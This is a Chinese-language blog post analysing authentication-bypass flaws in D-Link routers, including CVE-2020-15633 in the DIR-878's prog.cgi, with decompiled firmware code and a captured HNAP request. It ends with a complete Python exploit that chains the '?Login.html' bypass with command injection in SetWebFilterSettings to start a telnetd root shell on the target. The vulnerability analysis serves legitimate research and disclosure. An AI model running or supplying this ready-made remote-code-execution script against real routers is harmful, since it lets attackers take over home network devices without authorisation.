FUN_0001f4f4(&local_60,0x14,"%s/hmac_md5/%s/challenge","/var/proc/web/",__s1);
FUN_0001f4f4(acStack224,0x14,"%s/hmac_md5/%s/public_key","/var/proc/web/",__s1);
FUN_0001f4f4(__s1,10,"%s/hmac_md5/%s/session_uid","/var/proc/web/",__s1);
FUN_00021320(auStack456,0x41,"/sys/user:%d/%s",1,"password");
fprintf(stderr,"password = %s\n",auStack456);
snprintf(acStack544,0x56,"%s%s",acStack224,auStack456);
fprintf(stderr,"public_key_add_pass = %s\n",acStack544);
local_23c = 0;
local_238 = 0;
local_234 = 0;
local_230 = 0;
sVar3 = strlen(acStack544);
FUN_0001fd40(&local_60,0x14,acStack544,sVar3,&local_23c);
pbVar5 = (byte *)((int)&local_240 + 3);
pbVar6 = pbVar5;
do {
pbVar6 = pbVar6 + 1;
iVar2 = sprintf((char *)((int)&local_184 + iVar1),"%02x",(uint)*pbVar6);
iVar1 = iVar1 + iVar2;
} while (pbVar6 != (byte *)((int)&local_230 + 3));
fprintf(stderr,"private_key is = %s\n",&local_184);
FUN_0001f4f4(&local_184,0x20,"%s/hmac_md5/%s/private_key","/var/proc/web/",__s1);
iVar1 = 0;
local_23c = 0;
local_238 = 0;
local_234 = 0;
local_230 = 0;
FUN_0001fd40(&local_60,0x14,&local_184,0x20,&local_23c);
do {
pbVar5 = pbVar5 + 1;
iVar2 = sprintf(acStack352 + iVar1,"%02x",(uint)*pbVar5);
iVar1 = iVar1 + iVar2;
} while (pbVar5 != (byte *)((int)&local_230 + 3));
fprintf(stderr,"password_md5 = %s\n",acStack352);
FUN_0001f4f4(acStack352,0x20,"%s/hmac_md5/%s/password_md5","/var/proc/web/",__s1);
snprintf((char *)&local_25c,0x1f,"%d",local_29c);
FUN_0001f4f4(&local_25c,0x20,"%s/hmac_md5/%s/time","/var/proc/web/",__s1);
}
}
return 0;
}

通过交叉引用发现调用此函数的位置是处理 http 请求的主函数,内容较多这里就不贴代码了,大概逻辑就是匹配 http 请求的各个字段然后采取不同的操作,从上面的代码中我们可以发现 password_md5 文件内容似乎是从用户请求中取得的,我猜测是用户点击登录按钮之后会通过 php 代码计算出某些必要的数据,然后传递给 httpd 解析并保存到对应的文件中,之后在 __login.php 中进行验证,这样来看,一旦用户手动清空 password_md5 对应字段的内容,那么将导致 $password_d 变量为空,验证密码的逻辑就变成了

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$LOGIN_PASSWD="";
$password_d="";
if($LOGIN_PASSWD == $password_d)
{
echo "Success!";
}
else
{
echo "Fail!";
}
?>

这样就可以绕过正常的登录验证,顺利进入后台。

官方的修复手段就是先判断 $password_d 是否为空,然后才进行比较。

CVE-2020-15633

2020 年 7 月 20 日,ZDI 披露了 Dlink DIR 系列路由器的一个身份验证绕过漏洞,此漏洞影响多个不同的路由器设备,攻击者通过构造特殊的 HTTP 请求即可触发漏洞,绕过登录验证逻辑,直接访问敏感接口。

漏洞基本信息

以下是从披露页面摘抄的漏洞信息

1
2
3
This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of D-Link DIR-867, DIR-878, and DIR-882 routers. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the handling of HNAP requests. The issue results from incorrect string matching logic when accessing protected pages. An attacker can leverage this vulnerability to escalate privileges and execute code in the context of the router.

此漏洞影响 DIR-867, DIR-878, DIR-882 路由器,漏洞产生原因大概是在处理 HNAP 请求过程中,验证用户登录的逻辑存在问题,导致攻击者可以构造特殊的 HTTP 请求绕过身份验证,从而访问敏感 API 接口。

漏洞类型:身份验证绕过

漏洞威胁:较高 (8.8)

漏洞影响:攻击者绕过身份验证,从而访问敏感 API,执行敏感操作。

漏洞分析

以 DIR-878 路由器为例,固件下载地址:ftp://ftp2.dlink.com/PRODUCTS/DIR-878/REVA/

请下载 1.20B05 版本,此漏洞在最新版中已经修复。

DIR 878 路由器的固件经过加密,binwalk 无法直接解包,解包手段可以参考 https://wzt.ac.cn/2019/09/18/D-Link_BUG/

解包之后找到关键文件 prog.cgi,此文件负责解析和处理 HTTP 请求。将它加载到 Ghidra 中即可开始分析。

根据披露信息,触发此漏洞的手段是在正常的 HNAP 请求后面添加 ‘?GetCAPTCHAsetting’,添加之后将数据包发送给路由器即可绕过身份验证从而访问任意的 API 接口。于是利用字符串搜索功能在目标文件中查找字符串 GetCAPTCHAsetting,得到几条交叉引用信息,其中位于 004d01a0 位置的字符串是我们重点关注的对象。

双击来到目标地址,发现如下信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
                             PTR_DAT_004d0194                                XREF[3]:     FUN_0041d81c:0041d928 (R) , 
FUN_0041d81c:0041da04 (R) ,
websWriteBlockWithTranslation:00
004d0194 e4 48 4b 00 addr DAT_004b48e4 = 23h #
004d0198 00 ?? 00h
004d0199 00 ?? 00h
004d019a 00 ?? 00h
004d019b 00 ?? 00h
004d019c 00 ?? 00h
004d019d 00 ?? 00h
004d019e 00 ?? 00h
004d019f 00 ?? 00h
004d01a0 47 65 74 ds "GetCAPTCHAsetting"
43 41 50
54 43 48
004d01b4 00 ?? 00h
004d01b5 00 ?? 00h
004d01b6 00 ?? 00h
004d01b7 00 ?? 00h
004d01b8 00 ?? 00h
004d01b9 00 ?? 00h
004d01ba 00 ?? 00h
004d01bb 00 ?? 00h
004d01bc 00 ?? 00h
004d01bd 00 ?? 00h
004d01be 00 ?? 00h
004d01bf 00 ?? 00h
004d01c0 47 65 74 ds "GetDeviceSettings"
44 65 76
69 63 65
004d01d4 00 ?? 00h
004d01d5 00 ?? 00h
004d01d6 00 ?? 00h
004d01d7 00 ?? 00h
004d01d8 00 ?? 00h
004d01d9 00 ?? 00h
004d01da 00 ?? 00h
004d01db 00 ?? 00h
004d01dc 00 ?? 00h
004d01dd 00 ?? 00h
004d01de 00 ?? 00h
004d01df 00 ?? 00h
004d01e0 62 6c 6f ds "blockedPage.html"
63 6b 65
64 50 61
........

类似于许多字符串的集合,并且两两之间偏移量都是 0x20。猜测此处是某种字符串列表,通过 PTR_DAT_004d0194 加上偏移量进行索引。

我们还可以使用 IDA 进行进一步的验证,将 prog.cgi 加载到 IDA 中,跳转到目标地址得到以下信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.data:004D01A0 aGetcaptchasett:.ascii "GetCAPTCHAsetting"<0>
.data:004D01A0 # DATA XREF: sub_423ECC+D8↑o
.data:004D01A0 # sub_423ECC+12C↑o ...
.data:004D01B2 .align 4
.data:004D01C0 aGetdevicesetti_3:.ascii "GetDeviceSettings"<0>
.data:004D01D2 .align 4
.data:004D01E0 aBlockedpageHtm:.ascii "blockedPage.html"<0>
.data:004D01F1 .align 4
.data:004D0200 aMobileloginHtm:.ascii "MobileLogin.html"<0>
.data:004D0211 .align 4
.data:004D0220 aLoginHtml: .ascii "Login.html"<0>
.data:004D022B .align 5
.data:004D0240 aEulaHtml: .ascii "EULA.html"<0>
.data:004D024A .align 5
.data:004D0260 aIndexHtml_2: .ascii "Index.html"<0>
.data:004D026B .align 5
.data:004D0280 aWizardHtml: .ascii "Wizard.html"<0>
.data:004D028C .align 5
.data:004D02A0 aHnap1_5: .ascii "/HNAP1/"<0>
.data:004D02A8 .align 5
.data:004D02C0 aEulaTermHtml: .ascii "EULA_Term.html"<0>
.data:004D02CF .align 5
.data:004D02E0 aEulaPrivacyHtm:.ascii "EULA_Privacy.html"<0>
.data:004D02F2 .align 4

IDA 对这部分数据识别的更加准确,正如我们的猜测,这里是一个字符串列表。

通过对列表首部地址的交叉引用,能找到使用这部分数据的代码,其中最关键的函数是 00423ecc,反编译结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
undefined4 allow_urls(int param_1)
{
int iVar1;
char *pcVar2;
uint uri_index;
char acStack2092 [1024];
char acStack1068 [1024];
undefined auStack44 [40];

memset(acStack2092,0,0x400);
memset(acStack1068,0,0x400);
memcpy(auStack44,"<title>401 Not Authorized</title>\r\n",0x24);
if (*(int *)(param_1 + 0xe4) != 0) {
uri_index = 0;
while (uri_index < 0xb) {
snprintf(acStack2092,0x400,"%s%s","http://purenetworks.com/HNAP1/",
s_GetCAPTCHAsetting_004d01a0 + uri_index * 0x20);
snprintf(acStack1068,0x400,"\"%s%s\"","http://purenetworks.com/HNAP1/",
s_GetCAPTCHAsetting_004d01a0 + uri_index * 0x20);
if ((*(int *)(param_1 + 0xe4) == 0) ||
(pcVar2 = strstr(*(char **)(param_1 + 0xe4),s_GetCAPTCHAsetting_004d01a0 + uri_index *0x20
), pcVar2 == (char *)0x0)) {
if ((*(int *)(param_1 + 0xd4) != 0) &&
((iVar1 = strcmp(*(char **)(param_1 + 0xd4),acStack2092), iVar1 == 0 ||
(iVar1 = strcmp(*(char **)(param_1 + 0xd4),acStack1068), iVar1 == 0)))) {
return 0;
}
}
else {
iVar1 = strcmp(s_GetCAPTCHAsetting_004d01a0 + uri_index * 0x20,"/HNAP1/");
if (((iVar1 != 0) || (*(int *)(param_1 + 200) == 0)) ||
(iVar1 = strcmp(*(char **)(param_1 + 200),"POST"), iVar1 != 0)) {
return 0;
}
}
uri_index = uri_index + 1;
}
}
if ((*(int *)(param_1 + 0x110) == 0) ||
((iVar1 = strncmp(*(char **)(param_1 + 0x110),"QRSMobile",9), iVar1 != 0 &&
((pcVar2 = strstr(*(char **)(param_1 + 0x110),"Android"), pcVar2 == (char *)0x0 ||
(iVar1 = strncmp(*(char **)(param_1 + 0x110),"Mozilla",7), iVar1 == 0)))))) {
iVar1 = FUN_0042159c(param_1);
if ((iVar1 == 0) &&
((*(int *)(param_1 + 200) != 0 &&
(iVar1 = strcmp(*(char **)(param_1 + 200),"POST"), iVar1 == 0)))) {
FUN_00424498(param_1);
}
else {
websDefaultHandler(param_1,0,0,0,"/Index.html","/Index.html",*(undefined4 *)(param_1 +0xf8));
}
}
else {
websRspNotAuth(param_1);
}
return 1;
}

这个函数接收的参数是 webs_t 结构体,用于代表一个 web 请求。可以通过不断的交叉引用找到源函数 websSecurityHandler,gohead 中同名函数描述如下:

1
websSecurityHandler implements the default security policy. It operates as a URL handler and is installed to run as the very first URL handler. If you require a replacement security policy, delete the websSecurityHandler and install your own with websUrlHandlerDefine.

简单分析上面提到的函数逻辑,发现他会取出 webs_t 中下标为 0xe4 的数据并判断字符串列表中的数据是否出现在其中。通过分析 main 函数可以确定,0xe4 位置存放的是 Request_URI 指针,表示用户访问的 URL 链接。

如果字符串列表中的数据出现在 Request_URI 中,则允许访问。进一步分析发现这些硬编码的接口默认都是不需要身份验证就能访问的。例如 Login.html 是登录接口,EULA.html 是用户隐私协议等。

此函数的问题在于,它使用了 strstr 函数对用户输入的数据进行判断,如果用户访问一个本来需要身份验证的链接,然后在链接的后面添加这些字符串即可绕过身份验证逻辑。

漏洞测试:

首先抓包获取一个需要身份验证的 HTTP 请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 302
Accept: */*
X-Requested-With: XMLHttpRequest
HNAP_AUTH: 00DAB25BFD3EBF8FAD03E60E5616BF44 1598580346156
SOAPAction: "http://purenetworks.com/HNAP1/GetIPv6Status"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36
Content-Type: text/xml; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/Home.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: uid=uFXfaJBA
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetIPv6Status xmlns="http://purenetworks.com/HNAP1/" /></soap:Body></soap:Envelope>

这个请求发送到路由器可以返回正常的结果。然后构造一个非法的请求,在访问链接中添加 ‘?Login.html’:

可以看到构造的恶意 payload 能够绕过身份验证直接访问敏感接口。

此外我们可以结合这个身份验证漏洞以及命令注入漏洞实现无条件的 RCE。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import sys
import os

telnet_payload = r"1.com/&amp;$(telnetd$IFS$9-l$IFS$9/bin/sh$IFS$9-b$IFS$9'0.0.0.0')&amp;"
burp0_cookies = {"uid": "CataLpa"}
burp0_headers = {"Accept": "text/xml", \
"SOAPACTION": "\"http://purenetworks.com/HNAP1/SetWebFilterSettings\"", \
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36", \
"Content-Type": "text/xml", \
"Accept-Encoding": "gzip, deflate", \
"Accept-Language": "zh-CN,zh;q=0.9", \
"Connection": "close"}

burp0_data = "<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n<soap:Body>\n<SetWebFilterSettings>\n\t<WebFilterMethod>DENY</WebFilterMethod>\n\t<NumberOfEntry>1</NumberOfEntry>\n\t<WebFilterURLs>\n\t\t<string>" + telnet_payload + "</string>\n\t</WebFilterURLs>\n</SetWebFilterSettings>\n</soap:Body>\n</soap:Envelope>"

if __name__ == "__main__":
if len(sys.argv) != 2:
print("[*] Usage: python DIR-878.py <ip>")
exit(0)
IP = sys.argv[1]
print("[*] Send payload to " + IP)
burp0_url = "http://" + IP + ":80/HNAP1/?Login.html"
try:
res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
if "200" in str(res.status_code):
print("[*] Exploit success!")
print("[!] telnet " + IP)
exit(0)
print("[*] Exploit failed. Bug fixed :(")
exit(0)
except Exception as e:
print("[-] Exploit failed.")
print(e)
  • Title: IoT 设备中身份验证绕过的一些漏洞(1)
  • Author: Catalpa
  • Created at : 2020-08-28 00:00:00
  • Updated at : 2024-10-17 08:23:50
  • Link: https://wzt.ac.cn/2020/08/28/bypass_auth/
  • License: This work is licensed under CC BY-SA 4.0.